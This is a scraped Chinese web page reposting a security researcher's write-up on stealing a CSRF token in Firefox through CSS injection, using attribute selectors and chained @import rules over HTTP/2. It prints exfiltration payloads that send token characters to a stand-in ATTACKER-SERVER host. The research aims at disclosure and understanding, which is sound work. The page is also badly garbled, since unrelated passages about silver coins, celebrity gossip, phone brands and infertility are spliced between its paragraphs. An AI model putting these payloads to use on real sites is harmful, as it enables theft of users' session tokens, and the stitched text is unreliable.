在Firefox浏览器中利用CSS窃取数据

来源:脚本之家  责任编辑:小易  

导致此问题有2种可能:1、设置的样式被强替换,覆盖失效。要验证该问题可以在元素上右击,然后选择“

0x00 前言

这个问题牵涉到css的样式兼容问题,没有统一的解决方案,只有几个大的原则。1、不要使用未被w3c

几个月之前,我在Firefox中找到了一个漏洞( CVE-2019-17016 )。在研究过程中,我发现了在Firefox浏览器中利用CSS的一种数据窃取技术,可以通过单个注入点窃取数据,这里我想与大家一起分享相关研究成果。

这代码一看就有问题,fff是白色,000才是黑色,而且少内容了,你可以写成<tr>

0x01 背景知识

跟css编码没关系,跟火狐的版本有关系。比如早一些版本的FF浏览器,需要加私有前缀。而新出某个版

为了演示方便,这里假设我们想窃取 <input> 元素中的CSRF令牌。

清理 PC 上的 Firefox,请按下列步骤操作:1、退出 Google 日历帐户并关闭打开的

<input type="hidden" name="csrftoken" value="SOME_VALUE">

感谢邀请。银元鉴定的方法:一是看形制。是机器冲压还是翻沙,凡是翻沙版均是假的。二是看文字是否凹凸,风格与当时韵味是否相符,清朝龙版币上满文是否与原币一致,民国三年签字版是否后来挖的,使用放大镜一看就一目了然。三是看齿轮。齿轮较易区分,假币齿轮远不如原币规整,两者一对比,特别明显。四是看颜色。银元应是白色,有包浆、银锈,擦掉即露白,不同的含银量,颜色略有差异,清朝银元含银量高90%、低50%,通常在88%。五是听声音。真银元敲击后发出的声音纯正婉转、柔和,感觉沉稳。含铜量高的假银元,敲击后发出的声音尖高,全铜镀银的假银元声音尖锐短促,夹铜或夹铅的假银元声音呆滞而没有转音,挖补的银元声音低哑或成“

我们无法使用脚本(可能是因为CSP),因此想寻找基于样式的注入方法。传统方法是使用属性选择器,如下所示:

对于王菲来说,谢贤,让不让王菲进家门儿都无所谓,王菲我行我素的性格,根本就不在乎这一切。谢贤只是因为张柏芝为谢家生了两个孙子,所以一直喜欢张柏芝,对王菲才不待见,其实谢贤心底下是喜欢王菲的,十多年以前有一次王菲与刘嘉玲和陶晶莹在台上颁奖的时候,谢贤在台下坐着对王菲那种喜爱的笑容,是不可磨灭的所,以谢贤是真的喜欢王菲,当时王菲真的好美呀!谢贤最近在公众场合上又说了,媒体是断章取义,他是喜欢王菲的,因为谢霆锋之所以现在变得如此性格上的改变,又和家人这么亲近,每天沉浸的幸福的当中。都是王菲的功劳,这其中是有原因的。所以我去!谢贤的表现是为了两个孙子。说不喜欢王菲也是不得已。本月,谢贤以后一定要好好对

input[name='csrftoken'][value^='a'] { background: url(//ATTACKER-SERVER/leak/a); } input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ... input[name='csrftoken'][value^='z'] { background: url(//ATTACKER-SERVER/leak/z); }

买手机靠忽悠肯定是不行的,这样也不能长久,而且如果手机确实不行而消费者被一是蒙蔽,那么这离手机口碑做差到无人购买也就不远了,OPPO和vivo也算是国产老手机品牌,经过十余年的努力做到了国产手机前三,也是有它的独特之处,这一点不的不否认,否则为什么国产那么多手机就这两家目前做的最好。其实对于OPPO和vivo主要还是线下优势,毕竟它们不是互联网手机,线下原本就是一个很好的宣传渠道,可以和消费者互动,让消费者体验,给消费者更好的服务,赢得消费者的好感,很多人现在购买手机都是OPPO和vivo首选,不是他们不懂手机不懂配置,而是OPPO和vivo在配置够用的情况下,使用了更多的创新技术,颜值,拍照

如果应用了CSS规则,那么攻击者就能收到HTTP请求,从而获取到令牌的第1个字符。随后,攻击者需要准备另一个样式表,其中包含已窃取的第1个字符,如下所示:

有句话很适合用在这个地方,压力大,“孕气”差。的确,压力大已经成为不孕的隐形杀手了,这种压力不管是来自工作生活中的压力还是怀孕本身,都会影响怀孕。很多数据已经表明,随着现代生活节奏的加快,不孕症的发生率是呈上升趋势的。很多人刚结婚时,想享受几年2人世界,不想要孩子,想要时却怎么都要不上了。来自长江不孕不育医院的资料显示,在医院治愈的2000对不孕不育的夫妇中,80后患者占了57.3%临床上有很多人进行各项身体检查均没有异常,可就是怀不上孩子。这些人通常具有共同的特点,工作压力大、性格容易急躁、缺乏运动等特点。长期处于巨大的工作生活压力下,不仅仅是精神紧张的问题,还会影响到我们的内分泌系统,导致

input[name='csrftoken'][value^='aa'] { background: url(//ATTACKER-SERVER/leak/aa); } input[name='csrftoken'][value^='ab'] { background: url(//ATTACKER-SERVER/leak/ab); } ... input[name='csrftoken'][value^='az'] { background: url(//ATTACKER-SERVER/leak/az); }

通常情况下,攻击者需要重新加载 <iframe> 中已加载的页面,以便提供后续样式表。

在2018年, Pepe Vila 提出了一个非常不错的想法,可以在Chrome浏览器中滥用 CSS递归import 方式,通过单个注入点完成相同任务。在2019年,Nathanial Lattimer( @d0nutptr )重新提出了相同 技巧 ,但稍微做了点改动。下面我稍微总结一下Lattimer的方法,这种方法与本文的思想比较接近(但我在此次研究过程中并不了解Lattimer之前的成果,因此可能有人会认为我在重复造轮子)。

简而言之,第一次注入用到了一堆 import

@import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ...

核心思想如下:

1、在一开始,只有第1个 @import 会返回样式表,其他语句处于连接阻塞状态。

2、第1个 @import 返回样式表,泄露令牌的第1个字符。

3、当泄露的第1个令牌到达 ATTACKER-SERVER ,第2个 import 停止阻塞,返回包含第1个字符的样式表,尝试泄露第2个字符。

4、当第2个泄露字符到达 ATTACKER-SERVER 时,第3个 import 停止阻塞……以此类推。

这种技术之所以行之有效,是因为Chrome会采用异步方式处理 import ,因此当任何 import 停止阻塞时,Chrome会立即解析该语句并应用规则。

0x02 Firefox及样式表处理

前面提到的方法并不适用于Firefox,与Chrome浏览器相比,Firefox对样式表的处理方式大不相同。这里我以几个案例来说明其中差异。

首先,Firefox会采用同步方式处理样式表。因此,当样式表中有多个 import 时,只有当所有 import 都处理完毕时,Firefox才会应用CSS规则。考虑如下案例:

<style> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </style>

假设第1个 @import 返回CSS规则,将页面背景设置为蓝色,后续的 import 处于阻塞状态(比如永远不会返回任何内容,会挂起HTTP连接)。在Chrome浏览器中,页面会立即变为蓝色,而在Firefox中并不会有任何反应。

我们可以将所有 import 放在独立的 <style> 元素中,从而解决该问题:

<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style>

在上面代码中,Firefox会分别处理所有样式表,因此页面会立刻变蓝色,其他 import 会在后台处理。

但这里还有另一个问题,假设我们想窃取包含10个字符的令牌:

<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style>

Firefox会立即将10个 import 加入队列。在处理完第1个 import 后,Firefox会将带有已知字符的另一个请求加入队列。这里的问题在于,该请求会被加到队列末尾。而在默认情况下,浏览器有个限制条件,到同一个服务器只能有6个并发连接。因此,带有已知字符的请求永远不会到达目标服务器,因为已经有到该服务器的6个阻塞连接,最终出现死锁现象。

0x03 HTTP/2

6个连接的限制条件由TCP层决定,因此到单个服务器只能有6个TCP连接同时存在。在这种情况下,我认为HTTP/2可能派上用场。HTTP/2有许多优点,比如我们可以通过单个连接发送多个HTTP请求(也就是所谓的多路传输( multiplexing )),从而大大提升性能。

Firefox对单个HTTP/2连接的并发请求数也有限制,但默认情况下限制数为 100 (具体设置参考 about:config 中的 network.http.spdy.default-concurrent )。如果我们需要更多并发数,可以使用不同的主机名,强制Firefox创建第2个TCP连接。比如,如果我们创建到 https://localhost:3000100 个请求,也创建到 https://127.0.0.1:300050 个请求,此时Firefox就会创建2个TCP连接。

0x04 利用方式

现在一切准备就绪,我们的主要利用场景如下:

1、利用代码基于HTTP/2。

2、通过 /polling/:session/:index 端点可以返回CSS,泄露第 :index 字符。该请求会处于阻塞状态,直到前一个请求成功泄露第 index-1 个字符。 :session 路径参数用来区分多次攻击行为。

3、通过 /leak/:session/:value 端点来泄露整个令牌。这里 :value 为获取到的完整值,而不单单是最后一个字符。

4、为了强制Firefox向同一个服务器发起2个TCP连接,这里用到了两个端点,分别为 https://localhost:3000https://127.0.0.1:3000

5、端点 /generate 用来生成示例代码。

我创建了一个 测试平台 ,目标是通过这种方式窃取 csrftoken ,大家可通过 此处 直接访问该平台。

此外,我还在GitHub上托管了 PoC代码 ,攻击过程可参考 此处视频 。

有趣的是,由于我们使用的是HTTP/2,因此攻击过程非常快速,不到3秒就能获取到整个令牌。

0x05 总结

在本文中,我演示了如何利用1个注入点,在不想重载页面的情况下,通过CSS窃取数据。这里主要涉及2个要点:

1、将 @import 规则拆分成多个样式表,后续 import 不会阻塞浏览器对整个样式表的处理。

2、为了绕过TCP并发连接数限制,我们需要通过HTTP/2发起攻击。

以上所述是小编给大家介绍的在Firefox浏览器中利用CSS窃取数据,希望对大家有所帮助,也非常感谢大家对脚本之家网站的支持!

 

扩展阅读,根据您访问的内容系统为您准备了以下内容,希望对您有帮助。

firefox浏览器中jquery怎么获取到css(“background”)的值

可以改为 css("background-image"),这样的话在FireFox、Chrome都通用

补充说明:FireFox中赋值的时候是可以用background的,但读取的时候不行,必须具体到里面的每个项目。

使用NetBox时,火狐浏览器加载CSS错误 因为它的MIME类型 "application/x-css" 不是 "text/css"

一个做好的网页在IE中显示一切正常,但是在firefox(opera)中却看不到式样效果,查看错误显示“样式表xxx未载入,因为它的MIME类型“application/x-css”不是text/css”,但是把样式表的引用中的"text/css"修改"application/x-css"也不行,经过试验发现,出现错误的原因应该是网页文档类型的不一致导致的()。

我们只要把网页的头部“<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">”删除,网页的显示就正常了

CSS在FireFox中实现绝对定位。

  您好,感谢您对火狐的支持

  要激活对象的绝对(absolute)定位,必须指定 left , right , top , bottom 属性中的至少一个,并且设置此属性值为 absolute 。

  您可以在火狐官方网站下载火狐浏览器,在火狐社区了解更多内容。希望我的回答对您有所帮助,如有疑问,欢迎继续在本平台咨询。

怎么在火狐浏览器中查看或编写css代码看样本

装firebug就可以方便的查看 而且可以修改和添加一些css属性

如果你要具体的调整最好找个好的文本编辑器修改 可以先用firebug测试效果

为什么在火狐浏览器里面用CSS给层级设置的边框无法显示?

要想调试该问题最简单的办法就是在本该展示边框的位置右击,然后在弹出菜单选择“查看元素”。

之后会弹出developtools界面,找到“样式”标签,其会对应显示作用于该展示域的css样式属性及值。对于未生效的样式会辅以“删除线”,据此即可查明不显示的原因。

  • 本文相关:
  • css选择器四大类:基本、组合、属性、伪类
  • 在firefox浏览器中利用css窃取数据
  • css定位position引发的层级关系问题详解
  • css中overflow:hidden失效问题的解决方法
  • css 实现鼠标放在上面时整行变色效果
  • 纯css实现隐藏滚动条但仍具有滚动的效果(移动端和pc端)
  • css实现3d立体魔方的示例代码
  • css优先级的两种理解方式
  • css实现多层嵌套结构最外层旋转其它层不旋转效果
  • css中display flex整理(布局利器)
  • firefox浏览器中jquery怎么获取到css(“background”)的值
  • 使用NetBox时,火狐浏览器加载CSS错误 因为它的MIME类型 "applicatio...
  • CSS在FireFox中实现绝对定位。
  • 怎么在火狐浏览器中查看或编写css代码看样本
  • 为什么在火狐浏览器里面用CSS给层级设置的边框无法显示?
  • 外部CSS样式表在火狐浏览器里不起作用
  • 如何让样式CSS样式在IE和火狐浏览器里面显示的一样,请举例说明?
  • CSS横线在火狐浏览器中不显示?
  • 为什么再css3中添加了-moz-火狐的私有属性,但是火狐浏览器不显示把-moz-去掉火狐就正常显示...
  • firefox css 缓存
  • 免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved